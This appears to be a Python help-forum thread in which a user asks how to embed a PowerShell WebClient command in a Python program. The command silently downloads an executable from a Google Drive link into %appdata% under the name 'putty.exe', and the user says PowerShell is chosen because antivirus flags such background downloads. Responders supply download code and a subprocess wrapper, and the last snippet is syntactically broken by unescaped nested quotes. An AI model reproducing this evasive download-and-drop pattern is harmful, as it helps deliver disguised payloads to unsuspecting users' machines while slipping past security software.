Ok,

is this the end goal?

download file: 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' ?

if so, why not do the whole thing with python?

Sometimes anti-virus classify this behavior as suspicious because its try to download a program in the background ... but when u use powershell it will pass it because powershell comes with windows by default ( signed by microsoft )

can u help me now to execute the command

Not all firewalls are written by windows.
And Even when I use MS windows, I have never had a problem downloading unless the download site was trying to prevent it.
I tested your url, and had no problem.

to use this, requests must be installed:

pip install requests

i used:

import requests

def get_file(url, savefile=None, mode='w'):
    response = requests.get(url)
    if response.status_code == 200:
        if savefile:
            with open(savefile, mode) as fp:
                fp.write(response.content)                          


if __name__ == '__main__':
    url = 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m'
    get_file(url, 'pink.exe', 'wb')

thank u for ur help my brother but i need it via powershell :) i need to run this command on the system :

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"

By system, I expect you mean command line.
if you modify the python script like:

import requests
import sys
 
def get_file(url, savefile=None, mode='w'):
    response = requests.get(url)
    if response.status_code == 200:
        if savefile:
            with open(savefile, mode) as fp:
                fp.write(response.content)                          
 
 
if __name__ == '__main__':
    url = sys.argv[1]
    save = sys.argv[2]
    get_file(url, save, 'wb')

save it as getfile.py
now you can run python getfile/py 'url' 'saveas' from the system command line and also be able to call it from
inside another python program by importing getfile, and calling get_file directly
example:

python getfile.py 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' pink.exe

it will do what you want. for any url and any save name

sorry my brother u did not understand me ...
i need it inside my program not with external arguments

like that ..

import subprocess


def downloadfile():
    down = subprocess.call('whoami')



downloadfile() 

i just need to replace whoami with :

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"

but becuase the command have a lot of "" i cant understand how to execute it i keep got : SyntaxError: invalid syntax
i need to execute it from cmd without any external arguments
check the photo


i mean i dont need to download the file by python ... i need to download the file by powershell command executed by python

[Larz60+]

replace:

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"

with:

mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString)

then command is:

def downloadfile():
    mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString)
    down = subprocess.call(mycommand)
    time.sleep(20)

 
downloadfile()
